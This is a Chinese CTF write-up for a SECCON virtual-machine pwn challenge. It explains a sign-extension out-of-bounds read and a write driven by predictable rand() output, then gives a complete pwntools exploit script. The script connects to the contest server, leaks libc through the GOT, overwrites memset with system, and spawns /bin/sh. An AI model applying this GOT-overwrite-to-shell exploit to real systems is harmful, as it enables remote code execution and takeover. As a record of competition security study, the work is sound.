第二个VM中当opcode为0x20时的代码如下
if ( v30 == 0x20 )
{
if ( (unsigned int)(16 * vm_regs_2[1]) + (signed __int64)vm_regs_2[9] > 0xFFFF )
raise(11);
if ( dword_addr )
*(_DWORD *)dword_addr = *(_DWORD *)&vm2_input[(int)vm_regs_2[9] + (unsigned __int64)(unsigned int)(16 * vm_regs_2[1])];
else
raise(4);
vm_regs_2[9] += 4;
goto LABEL_108;
}
其中vm_regs_2[9]
是stack_top_offset,vm_regs_2[1]
是stack_base,相应的汇编指令如下
.text:0000555555556701 lea rax, vm_regs_2
.text:0000555555556708 mov eax, [rax+4]
.text:000055555555670B shl eax, 4
.text:000055555555670E mov edx, eax
.text:0000555555556710 lea rax, vm_regs_2
.text:0000555555556717 mov eax, [rax+24h]
.text:000055555555671A cdqe
.text:000055555555671C add rdx, rax
.text:000055555555671F lea rax, vm2_input
.text:0000555555556726 add rax, rdx
.text:0000555555556729 mov edx, [rax]
.text:000055555555672B mov rax, [rbp+dword_addr]
.text:000055555555672F mov [rax], edx
可以看到stack_top_offset的值从eax
有符号扩展到rax
,而且上面检查边界时也是如此,因此当stack_top_offset是负值时就会产生一个越界的读漏洞,以此来泄露got
表上的libc地址。
第三个VM中当opcode为0x15时的代码如下
case 0x15:
if ( 16 * vm_regs_3[4] + vm_regs_3[11] < 0 || 16 * vm_regs_3[4] + vm_regs_3[11] > 0xFFFF )
raise(11);
v13 = 16 * vm_regs_3[3] + vm_regs_3[11];
vm_input3[v13] = rand();
break;
这里有个很奇怪的地方,检查边界是vm_regs_3[4]
和vm_regs_3[11]
,但之后的操作却是vm_regs_3[3]
和vm_regs_3[11]
,再看汇编指令
.text:0000555555555A9B lea rax, vm_regs_3
.text:0000555555555AA2 movzx eax, word ptr [rax+6]
.text:0000555555555AA6 movzx eax, ax
.text:0000555555555AA9 shl eax, 4
.text:0000555555555AAC mov edx, eax
.text:0000555555555AAE lea rax, vm_regs_3
.text:0000555555555AB5 movzx eax, word ptr [rax+16h]
.text:0000555555555AB9 cwde
.text:0000555555555ABA lea ebx, [rdx+rax]
.text:0000555555555ABD call _rand
.text:0000555555555AC2 mov ecx, eax
.text:0000555555555AC4 lea rdx, vm_input3
.text:0000555555555ACB movsxd rax, ebx
.text:0000555555555ACE mov [rdx+rax], cl
vm_regs_3[11]
的值是从ax
有符号扩展到eax
的,因此当vm_regs_3[11]
为一个负数时就会产生一个越界的写漏洞。写入的值是由rand
产生的,但固定了随机数种子srand(0x31337)
,因此可以预测需要调用rand
多少次才能产生指定的值,可以用VM里的指令写个循环结构来实现。最后就是泄露libc地址,改got
表上的memset
函数为system
,再执行第二个VM中opcode为0xC0的指令getshell。
from pwn import *
from ctypes import cdll
LOCAL = 0
DEBUG = 0
VERBOSE = 0
if VERBOSE:
context.log_level = 'debug'
if LOCAL:
io = process('./inception', aslr=True)
libc = ELF('./libc-2.23.so')
if DEBUG:
gdb.attach(io)
else:
io = remote('vm_no_fun.pwn.seccon.jp', 30203)
libc = ELF('./libc-2.23.so')
libc_so = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
libc_so.srand(0x31337)
io.recvuntil('Z\n')
io.send('\x01')
io.recvuntil('A\n')
payload = '\x89' + '\x02' + '\x20' + p16(7) + '\x21' + p16(0x600)
payload += '\x0c' + '\x00' + '\xF4' + '\x00'
io.send(p32(len(payload)) + payload)
payload = '\x28' + p32(9) + '\x20' + p32(0xfffeff20) + '\x21'
payload += '\x28' + p32(1) + '\x20' + p32(0) + '\x21'
payload += '\x20' + p32(0x3000) + '\x22' + p32(0) + '\x00'
payload += '\x28' + p32(9) + '\x20' + p32(0xfffeff24) + '\x21'
payload += '\x20' + p32(0x3004) + '\x22' + p32(0) + '\x00'
payload += '\x28' + p32(11) + '\x20' + p32(8) + '\x21'
payload += '\x85' + p32(0) + '\x00' + p32(0) + '\x00'
payload += '\x83' + p32(0) + '\x00' + p32(0) + '\x00'
io.send(p32(len(payload)) + payload)
io.recvuntil('Z\n')
io.send('\x02')
io.recvuntil('B\n')
io.recvuntil('Z\n')
io.send('\x04')
io.recvuntil('Z\n')
io.send('\x01')
io.recvuntil('A\n')
payload = '\x89' + '\x02' + '\x20' + p16(7) + '\x21' + p16(0x800)
payload += '\x89' + '\x02' + '\x20' + p16(0) + '\x21' + p16(0x8)
payload += '\x0B' + '\x00' + '\xF4' + '\x00'
io.send(p32(len(payload)) + payload)
puts_addr = u64(io.recvn(8))
libc_addr = puts_addr - libc.symbols['puts']
system_addr = libc_addr + libc.symbols['system']
log.info('puts_addr:%#x' % puts_addr)
log.info('libc_addr:%#x' % libc_addr)
log.info('system_addr:%#x' % system_addr)
def write(address, value, size):
load = ''
for i in range(size):
load += '\x28' + p32(address + i) + '\x42' + p32(ord(value[i])) + '\x41'
return load
offset = 0xff78
rand_list = [None] * 256
count = 0
while True:
rand = libc_so.rand() & 0xff
if rand_list[rand] is None:
rand_list[rand] = count
if None not in rand_list:
break
count += 1
print rand_list
count_list = []
for i in range(6):
count_list.append(rand_list[(system_addr >> (8 * i)) & 0xff])
count_list.sort()
print count_list
rand_count = 0
for i in range(6):
io.recvuntil('Z\n')
io.send('\x04')
io.recvuntil('Z\n')
io.send('\x05')
io.recvuntil('Z\n')
io.send('\x06')
io.recvuntil('Z\n')
io.send('\x01')
payload = '\x89' + '\x02' + '\x20' + p16(7) + '\x21' + p16(0x600)
payload += '\x0c' + '\x00' + '\xF4' + '\x00'
io.send(p32(len(payload)) + payload)
bytecodes = '\x01\x65' + p16(3) + p16(0x0)
bytecodes += '\x01\x67' + p16(0x4000) + p16(0)
temp_count = count_list[i]
bytecodes += '\x0E\x67' + p16(0x4000) + p16(temp_count - rand_count)
rand_count = temp_count
bytecodes += '\x12\x67' + p16(0x4000) + p16(20)
bytecodes += '\x01\x65' + p16(11) + p16(offset+8)
bytecodes += '\x15\x00'
bytecodes += '\x02\x67' + p16(0x4000) + p16(1)
bytecodes += '\x14\x67' + p16(0x4000) + p16((1<<16) - 32)
bytecodes += '\x01\x65' + p16(11) + p16(offset + p64(system_addr)[0:6].find(chr(rand_list.index(temp_count))))
rand_count += 1
bytecodes += '\x15\x00'
bytecodes += '\x0b\x00'
payload = write(0x3000, bytecodes, len(bytecodes))
payload += '\x85' + p32(0) + '\x00' + p32(0) + '\x00'
payload += '\x83' + p32(0) + '\x00' + p32(0) + '\x00'
io.send(p32(len(payload)) + payload)
io.recvuntil('Z\n')
io.send('\x02')
io.recvuntil('B\n')
io.recvuntil('Z\n')
io.send('\x03')
io.recvuntil('C\n')
io.recvuntil('Z\n')
io.send('\x04')
io.recvuntil('Z\n')
io.send('\x05')
io.recvuntil('Z\n')
io.send('\x06')
io.recvuntil('Z\n')
io.send('\x01')
payload = '\x89' + '\x02' + '\x20' + p16(7) + '\x21' + p16(0x600)
payload += '\x0c' + '\x00' + '\xF4' + '\x00'
io.send(p32(len(payload)) + payload)
payload = '\x28' + p32(10) + '\x20' + p32(0) + '\x21'
payload += '\x28' + p32(2) + '\x20' + p32(0x21) + '\x21'
payload += '\xc0' + p32(0) + '\x00' + p32(0) + '\x00'
payload += '/bin/sh\x00'
io.send(p32(len(payload)) + payload)
io.recvuntil('Z\n')
io.send('\x02')
io.recvuntil('B\n')
io.interactive()